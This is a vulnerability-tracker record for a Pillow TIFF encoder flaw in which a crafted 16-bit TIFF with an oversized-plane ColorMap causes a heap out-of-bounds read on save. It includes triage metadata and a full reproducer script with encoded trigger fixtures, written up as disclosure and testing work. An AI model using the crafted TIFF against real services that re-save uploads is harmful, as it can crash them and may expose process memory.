{"id":"CVE-2026-112896","kind":"vulnerability","aliases":["CVE-2026-112896","GHSA-pchr-8j38-3x4p"],"related":[],"title":"Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read","description":"## Summary\n\nA small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.\n\nPillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`.\n\nThe malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.\n\n## Impact and prerequisites\n\nAn application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.\n\nThe 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.\n\n## Tested environment and limits of the evidence\n\nThe existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**:\n\n- Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl`\n- Wheel size: `4785266` bytes\n- Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6`\n- Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1`\n\nApple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.\n\nOnly this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed.\n\nSeparate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.\n\n## Observed evidence and controls\n\nThe earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format=\"TIFF\")`, without replacing the image's metadata. Each case was recorded three times:\n\n| Original fixture | Bytes | Recorded result |\n| --- | ---: | --- |\n| `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). |\n| `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). |\n| `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). |\n\nAddress-free summary of the recorded native diagnostic:\n\n```text\nAddressSanitizer: heap-buffer-overflow\nREAD of size 131072\n0 bytes after 1536-byte region\nCopy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt\n           -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField\n           -> PyImaging_LibTiffEncoderNew\nAllocation: calloc -> PyImaging_LibTiffEncoderNew\n```\n\nInput SHA-256 values (also enforced inside the script):\n\n- `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d`\n- `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c`\n- `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556`\n\n## Root cause and source references\n\n- [Pillow `src/encode.c`, lines 870–899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`.\n- [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944–1991, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/PIL/TiffImagePlugin.py#L1944): save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap.\n- [libtiff `tif_dir.c`, lines 441–448, pinned revision](https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/libtiff/tif_dir.c#L441): `TIFFTAG_COLORMAP` computes the per-plane count as `1L << td->td_bitspersample` and copies that many SHORTs from each pointer.\n\nThe reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.\n\n## Prior art and disclosure scope\n\n[Pillow PR #5148](https://github.com/python-pillow/Pillow/pull/5148), merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal `\"CustomField\"`. That is a **different field-name-lifetime fix**, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and **novelty is not asserted**. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it.\n\n## Reproduction instructions\n\nUse an **already reviewed, existing** installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. `--package-path` is the absolute directory containing `PIL`, not the `PIL` directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation.\n\nSave the complete Python block below as `reproduce.py` and run:\n\n```sh\npython3.11 -I -S -B reproduce.py \\\n  --package-path /absolute/path/to/reviewed/site-packages \\\n  --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib\n```\n\nBoth arguments are required. The runtime must be loaded at child startup, not by late `dlopen`. Each child resolves `__asan_init`, `__asan_address_is_poisoned`, and `__asan_region_is_poisoned` in its actual process symbol table **before importing Pillow or opening a fixture**. Merely setting `DYLD_INSERT_LIBRARIES` is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation.\n\nEach of the three cases runs once in a separate child with a **30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit**. The parent supplies a clean allowlisted environment, isolated Python startup (`-I -S -B`), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted.\n\nThe compressed/base64 constants below are the **unchanged original benign TIFF fixtures**, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block.\n\n**Separate August 31, 2026 inline validation:** the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed.\n\n## Expected results from the standalone script\n\nCases run in order: `colormap8`, `colormap_absent`, `colormap16`. Every printed line should have `guard_passed: true`, `within_limits: true`, and `expected_observation: true`. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 **and** the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF.\n\nThe parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is **inconclusive**, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF.\n\n## Complete standalone reproducer\n\n```python\nimport argparse\nimport base64\nimport ctypes\nimport hashlib\nimport io\nimport json\nimport os\nfrom pathlib import Path\nimport platform\nimport resource\nimport selectors\nimport struct\nimport subprocess\nimport sys\nimport tempfile\nimport time\nimport zlib\n\n\nFIXTURES = {'colormap8': [1684,\n               'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c',\n               'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='],\n 'colormap_absent': [137,\n                     'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556',\n                     'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'],\n 'colormap16': [1685,\n                '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d',\n                'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']}\nPACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629',\n 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d',\n 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01',\n 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5',\n 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d',\n 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273',\n 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596',\n 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d',\n 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1',\n 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57',\n 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'}\nCASES = tuple(FIXTURES)\nWALL_SECONDS = 30\nFILE_LIMIT = 1024 * 1024\nPIPE_LIMIT = 128 * 1024\n\n\ndef limits():\n    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n    resource.setrlimit(resource.RLIMIT_CPU, (10, 10))\n    resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT))\n\n\ndef fixture(case):\n    size, expected_hash, encoded = FIXTURES[case]\n    decoder = zlib.decompressobj()\n    data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1)\n    if (len(data) != size or not decoder.eof or decoder.unused_data\n            or decoder.unconsumed_tail\n            or hashlib.sha256(data).hexdigest() != expected_hash):\n        raise ValueError(\"fixture integrity check failed\")\n    return data\n\n\ndef field(data, wanted):\n    if len(data) < 8 or data[:4] not in (b\"II*\\0\", b\"MM\\0*\"):\n        raise ValueError(\"not classic TIFF\")\n    endian = \"<\" if data[:2] == b\"II\" else \">\"\n    directory = struct.unpack_from(endian + \"I\", data, 4)[0]\n    count = struct.unpack_from(endian + \"H\", data, directory)[0]\n    if directory + 2 + count * 12 + 4 > len(data):\n        raise ValueError(\"truncated directory\")\n    for number in range(count):\n        offset = directory + 2 + number * 12\n        tag, kind, length = struct.unpack_from(endian + \"HHI\", data, offset)\n        if tag != wanted:\n            continue\n        size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length\n        start = offset + 8 if size <= 4 else struct.unpack_from(endian + \"I\", data, offset + 8)[0]\n        if start + size > len(data):\n            raise ValueError(\"truncated field\")\n        return kind, length, data[start:start + size], endian\n    return None\n\n\ndef checked_image_module(package):\n    if (sys.implementation.name != \"cpython\" or sys.version_info[:2] != (3, 11)\n            or sys.platform != \"darwin\" or platform.machine() != \"arm64\"):\n        raise RuntimeError(\"requires macOS ARM64 CPython 3.11\")\n    for relative, expected in PACKAGE_PINS.items():\n        path = (package / relative).resolve(strict=True)\n        if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected:\n            raise RuntimeError(\"reviewed wheel file mismatch\")\n    process_symbols = ctypes.CDLL(None)\n    for symbol in (\"__asan_init\", \"__asan_address_is_poisoned\", \"__asan_region_is_poisoned\"):\n        getattr(process_symbols, symbol)\n    sys.path.insert(0, str(package))\n    from PIL import Image, features\n    if (Image.__version__ != \"12.3.0\" or features.version(\"libtiff\") != \"4.7.1\"\n            or Path(Image.__file__).resolve() != package / \"PIL/Image.py\"\n            or Path(Image.core.__file__).resolve() != package / \"PIL/_imaging.cpython-311-darwin.so\"):\n        raise RuntimeError(\"unexpected Pillow or libtiff\")\n    return Image\n\n\ndef emit(descriptor, message):\n    os.write(descriptor, (json.dumps(message, sort_keys=True) + \"\\n\").encode(\"ascii\"))\n\n\ndef child(case, package):\n    descriptor = os.dup(1)\n    with open(os.devnull, \"wb\") as quiet:\n        os.dup2(quiet.fileno(), 1)\n    try:\n        image_module = checked_image_module(package)\n        data = fixture(case)\n        with image_module.open(io.BytesIO(data)) as image:\n            image.load()\n            if image.size != (1, 1) or image.info.get(\"compression\") != \"packbits\":\n                raise ValueError(\"unexpected input geometry\")\n            bits = 8 if case == \"colormap8\" else 16\n            if image.tag_v2[258] != (bits,):\n                raise ValueError(\"unexpected sample width\")\n            if case == \"colormap_absent\":\n                if 320 in image.tag_v2:\n                    raise ValueError(\"unexpected ColorMap\")\n            elif image.tag_v2[320] != (0,) * 768:\n                raise ValueError(\"unexpected ColorMap planes\")\n            emit(descriptor, {\"ready\": True})\n            with io.BytesIO() as output:\n                image.save(output, format=\"TIFF\")\n                if case == \"colormap16\":\n                    emit(descriptor, {\"unsafe_save_returned\": True})\n                    return 1\n                encoded = output.getvalue()\n                saved_bits = field(encoded, 258)\n                map_field = field(encoded, 320)\n                bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1)\n                                  and struct.unpack(saved_bits[3] + \"H\", saved_bits[2])[0] == bits)\n                map_preserved = (map_field is None if case == \"colormap_absent\"\n                                 else map_field is not None and map_field[:2] == (3, 768)\n                                 and map_field[2] == bytes(1536))\n                emit(descriptor, {\"control_passed\": bool(bits_preserved and map_preserved)})\n        return 0\n    except Exception:\n        emit(descriptor, {\"child_failed\": True})\n        return 2\n    finally:\n        os.close(descriptor)\n\n\ndef run_case(case, package, runtime):\n    with tempfile.TemporaryDirectory(prefix=\"pillow-check-\") as temporary:\n        environment = {\n            \"PATH\": \"/usr/bin:/bin:/usr/sbin:/sbin\",\n            \"HOME\": temporary,\n            \"TMPDIR\": temporary,\n            \"LC_ALL\": \"C\",\n            \"DYLD_INSERT_LIBRARIES\": str(runtime),\n            \"ASAN_OPTIONS\": \"detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:\"\n                            \"disable_coredump=1:symbolize=1:malloc_fill_byte=165:\"\n                            \"max_malloc_fill_size=1048576:log_path=stderr\",\n        }\n        command = [sys.executable, \"-I\", \"-S\", \"-B\", str(Path(__file__).resolve()),\n                   \"--package-path\", str(package), \"--asan-runtime\", str(runtime), \"--child\", case]\n        output = bytearray()\n        diagnostics = bytearray()\n        deadline = time.monotonic() + WALL_SECONDS\n        with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL,\n                              stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n                              preexec_fn=limits, start_new_session=True) as process:\n            bounded = True\n            try:\n                with selectors.DefaultSelector() as selector:\n                    selector.register(process.stdout, selectors.EVENT_READ, output)\n                    selector.register(process.stderr, selectors.EVENT_READ, diagnostics)\n                    while selector.get_map():\n                        remaining = deadline - time.monotonic()\n                        if remaining <= 0:\n                            raise TimeoutError\n                        for key, events in selector.select(min(remaining, 0.25)):\n                            chunk = os.read(key.fileobj.fileno(), 8192)\n                            if not chunk:\n                                selector.unregister(key.fileobj)\n                            else:\n                                key.data.extend(chunk)\n                                if len(output) + len(diagnostics) > PIPE_LIMIT:\n                                    raise BufferError\n                    process.wait(timeout=max(0.001, deadline - time.monotonic()))\n            except (TimeoutError, BufferError, subprocess.TimeoutExpired):\n                bounded = False\n                try:\n                    os.killpg(process.pid, 9)\n                except ProcessLookupError:\n                    pass\n                process.wait()\n            status = process.returncode\n        try:\n            messages = [json.loads(line) for line in output.splitlines()]\n        except (ValueError, UnicodeError):\n            messages = []\n        ready = bool(messages and messages[0] == {\"ready\": True})\n        if case == \"colormap16\":\n            observed = bool(bounded and ready and status == 86 and len(messages) == 1\n                            and b\"AddressSanitizer: heap-buffer-overflow\" in diagnostics\n                            and b\"READ of size 131072\" in diagnostics\n                            and b\"0 bytes after 1536-byte region\" in diagnostics\n                            and b\"PyImaging_LibTiffEncoderNew\" in diagnostics\n                            and b\"_TIFFmemcpy\" in diagnostics)\n        else:\n            observed = bool(bounded and ready and status == 0\n                            and messages == [{\"ready\": True}, {\"control_passed\": True}]\n                            and b\"AddressSanitizer:\" not in diagnostics)\n        output.clear()\n        diagnostics.clear()\n        return {\"case\": case, \"expected_observation\": observed, \"guard_passed\": ready,\n                \"within_limits\": bounded}\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.')\n    parser.add_argument(\"--package-path\", required=True, type=Path,\n                        help=\"reviewed existing installation root containing PIL\")\n    parser.add_argument(\"--asan-runtime\", required=True, type=Path,\n                        help=\"reviewed existing compatible ASAN dylib; never loaded late\")\n    parser.add_argument(\"--child\", choices=CASES, help=argparse.SUPPRESS)\n    arguments = parser.parse_args()\n    if arguments.child:\n        limits()\n        return child(arguments.child, arguments.package_path.resolve())\n    try:\n        package = arguments.package_path.resolve(strict=True)\n        runtime = arguments.asan_runtime.resolve(strict=True)\n        if not package.is_dir() or not runtime.is_file():\n            raise ValueError(\"invalid existing paths\")\n        for case in CASES:\n            fixture(case)\n        results = [run_case(case, package, runtime) for case in CASES]\n    except Exception:\n        print(json.dumps({\"setup_failed\": True}))\n        return 2\n    for result in results:\n        print(json.dumps(result, sort_keys=True))\n    return 0 if all(result[\"expected_observation\"] for result in results) else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```","summary":"Pillow's TIFF encoder passes a fixed 768-entry ColorMap to libtiff without checking it against the image's bit depth, so a crafted 16-bit TIFF saved with metadata retained causes a heap out-of-bounds read. The sources demonstrate an ASan-detected read crash during save; they do not demonstrate data disclosure or code execution.","severity":"high","cvss":8.8,"epss":0.0029100000392645597,"exploited":false,"exploited_at":null,"products":[{"name":"Pillow","fixed":["13.0.0"],"affected":"<= 12.3.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-125","image-upload","package","pillow","python","self-hosted"],"not_affected_if":["default-config","metadata-not-retained","no-untrusted-tiff-input"],"how_to_check":"pip show pillow (affected if version is 12.3.0 or lower)\nGrep application code for Image.save(..., format=\"TIFF\") on untrusted uploads where image.info or TIFF tags are preserved","fix":"Upgrade Pillow to 13.0.0 or later\nUntil upgraded, do not re-save untrusted TIFFs with retained metadata","status":"open","published_at":"2026-10-19T22:17:09+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:13:22+00:00","updated_at":"2026-10-23T21:57:19+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:13:22Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade Pillow to 13.0.0 or later\nUntil upgraded, do not re-save untrusted TIFFs with retained metadata","summary":"Pillow's TIFF encoder passes a fixed 768-entry ColorMap to libtiff without checking it against the image's bit depth, so a crafted 16-bit TIFF saved with metadata retained causes a heap out-of-bounds read. The sources demonstrate an ASan-detected read crash during save; they do not demonstrate data disclosure or code execution.","category":"package","who_cares":["python","pillow","image-upload","self-hosted"],"confidence":0.8,"analyst_note":"","how_to_check":"pip show pillow (affected if version is 12.3.0 or lower)\nGrep application code for Image.save(..., format=\"TIFF\") on untrusted uploads where image.info or TIFF tags are preserved\nunknown for other checks","needs_analyst":false,"not_affected_if":["default-config","no-untrusted-tiff-input","metadata-not-retained"],"severity_if_unknown":"unknown"},"cost_usd":0.000904,"input_tokens":7140,"output_tokens":379,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-112896':19A,27A '-125':30B '-2026':18A,26A '-256':430C,439C '0':668C '1':136C,137C '12.3.0':415C '131072':209C,360C,613C,667C '137':639C '15':671C '1536':181C,228C,616C '16':64B,138C,197C,603C,641C '1684':622C '1685':599C '2':180C '2026':403C '256':159C,190C '3.11.8':406C '3/3':620C,636C,648C '30':402C '320':147C '37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6':431C '3x4p':24A '4.7.1':421C '4785266':426C '65536':201C '768':47B,150C,179C,635C '8':627C '8.0.1':516C,534C '86':609C '8j38':23A 'absent':638C 'accept':252C,287C 'address':349C,650C 'address-fre':649C 'address-spac':348C 'addresssanit':659C 'affect':488C,557C 'affected-vers':487C,556C 'alloc':178C,230C 'allocation/memcpy':459C 'alon':270C 'appl':441C 'applic':122C,285C 'arbitrari':331C,338C 'arm64':409C 'asan':84B,217C,315C,443C,455C,607C 'asan-detect':83B 'asan-rebuilt':454C 'assert':500C 'attack':103C 'attacker-suppli':102C 'attempt':207C,362C 'august':401C 'back':125C,300C 'bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d':435C 'behavior':546C 'bit':59B,65B,139C,628C,642C 'bitspersampl':196C 'bound':15A,77B,118C,312C 'boundari':464C 'branch':494C 'buffer':223C,662C 'bundl':419C,436C 'bypass':351C 'byte':182C,210C,229C,361C,369C,427C,595C,617C,669C 'bytesio':573C,578C 'canari':380C 'case':588C 'caus':9A,71B 'chain':345C 'check':53B 'claim':358C 'code':97B,346C 'collect':383C 'colormap':4A,49B,148C,237C,625C,637C,645C 'colormap16':598C 'colormap8':621C 'compil':519C 'complet':532C 'compon':522C 'comprehens':474C 'compress':143C 'concret':478C 'consequ':306C,326C 'constructor':518C 'contain':145C 'content':333C 'control':563C 'copi':363C 'cpython':405C 'craft':63B 'crash':87B 'cross':226C,354C,614C 'cross-process':353C 'current':491C 'cve':17A,25A 'cvss':505C 'cwe':29B 'data':94B 'demonstr':81B,93B,274C,328C 'depth':60B,268C 'detect':85B,461C 'develop':493C 'development-branch':492C 'diagnost':657C 'disclos':371C 'disclosur':95B,344C 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1':440C 'earlier':510C,565C 'effect':266C,356C 'encod':3A,43B,177C,277C,322C,386C,517C 'entri':48B,160C,192C 'environ':389C,482C,527C 'establish':484C,539C 'evid':394C,511C,561C 'execut':98B,347C 'exist':216C,396C 'exit':608C 'expect':200C 'exposur':320C 'extent':263C 'extract':330C 'fault':275C 'fill':156C 'fix':46B,132C,261C,624C 'fixtur':594C 'forg':166C 'format':579C 'forward':255C 'free':651C 'full':341C,480C,544C 'full-packag':479C 'geometri':643C 'ghsa':21A 'ghsa-pchr-8j38-3x4p':20A 'grayscal':140C,246C 'har':567C 'heap':11A,73B,222C,332C,618C,661C 'heap-buffer-overflow':221C,660C 'histor':541C 'host':39B 'identifi':219C 'imag':32B,57B,247C,584C 'image-upload':31B 'image.load':575C 'image.open':572C 'image.save':577C 'impact':281C 'inject':171C,446C 'input':289C,574C 'instal':535C 'instead':199C 'instruct':471C 'instrument':475C 'integr':566C 'intercept':460C 'invok':296C 'issu':249C 'libtiff':51B,194C,198C,299C,420C,437C 'libtiff-back':298C 'libtiffencodernew':234C 'limit':391C 'load':110C,173C,600C 'maco':408C 'made':231C 'malform':236C 'memori':319C,343C 'memory-disclosur':342C 'metadata':69B,130C,169C,253C,294C,586C 'mismatch':8A 'modern':525C 'must':286C 'nativ':470C,656C 'natur':570C 'need':238C 'normal':111C 'number':367C 'object':164C 'observ':218C,305C,397C,560C 'offici':413C 'open':108C 'opening/loading':269C 'origin':514C,593C 'out-of-bound':12A,74B,115C,309C 'output':387C 'overflow':224C,663C 'packag':34B,481C,542C 'packbit':142C 'packbits-compress':141C 'palett':243C 'part':550C 'pass':44B,184C 'patch':497C 'path':278C,303C 'pchr':22A 'per':204C 'perform':568C 'pillow':1A,28A,35B,40B,174C,414C,432C,457C,515C,533C 'pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl':423C 'plane':6A,157C,186C,205C,214C,262C 'plane-s':5A 'pointer':187C,215C 'potenti':325C 'prerequisit':283C 'primit':340C 'process':318C,355C,448C 'process-memori':317C 'propos':508C 'proven':370C 'pyimag':233C 'python':36B,163C 'python/libtiff':526C 'rang':490C,559C 'reach':113C,512C 'read':16A,78B,86B,119C,211C,225C,313C,339C,610C,664C 'rebuilt':456C 'reconcil':259C 'record':399C,590C,596C,655C 'region':619C 'releas':498C 'relev':292C 'replac':582C 'report':336C,373C,463C 'reproduc':133C,553C 'requir':280C 'result':495C,597C 'retain':70B,129C,290C,633C 'revis':434C 'run':376C 'runtim':444C,545C 'sampl':267C,629C 'save':67B,89B,123C,257C,302C,604C,630C,646C 'score':506C 'self':38B 'self-host':37B 'separ':188C,509C 'sequenc':571C 'serial':381C 'sever':501C 'sha':429C,438C 'short':151C,191C,202C 'short/count':634C 'size':7A,425C,612C,666C 'small':101C 'sourc':80B,433C 'space':350C 'startup':449C 'succeed':631C,647C 'summari':99C,652C 'suppli':104C 'synthet':379C 'synthetic-canari':378C 'tag':146C 'termin':316C,605C 'test':388C 'text':658C 'three':153C,185C,591C 'tiff':2A,42B,66B,105C,127C,144C,176C,293C,301C,580C 'time':592C 'unknown':503C 'unmodifi':412C 'unsanit':385C 'upload':33B 'use':410C 'valid':242C 'valu':152C,203C 'version':489C,558C 'violat':465C 'wheel':416C,422C,424C,428C,458C,468C 'without':52B,258C,581C,644C 'zero':155C 'zero-fil':154C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T22:17:09+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-pchr-8j38-3x4p","url":"https://github.com/advisories/GHSA-pchr-8j38-3x4p","severity":"high","published_at":"2026-10-20T20:51:40+00:00","modified_at":"2026-10-20T20:51:40+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112896","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112896","severity":null,"published_at":"2026-10-19T22:17:09+00:00","modified_at":"2026-10-20T19:48:50+00:00","first_seen_at":"2026-10-23T21:57:19+00:00","fetched_at":"2026-10-23T22:28:57+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}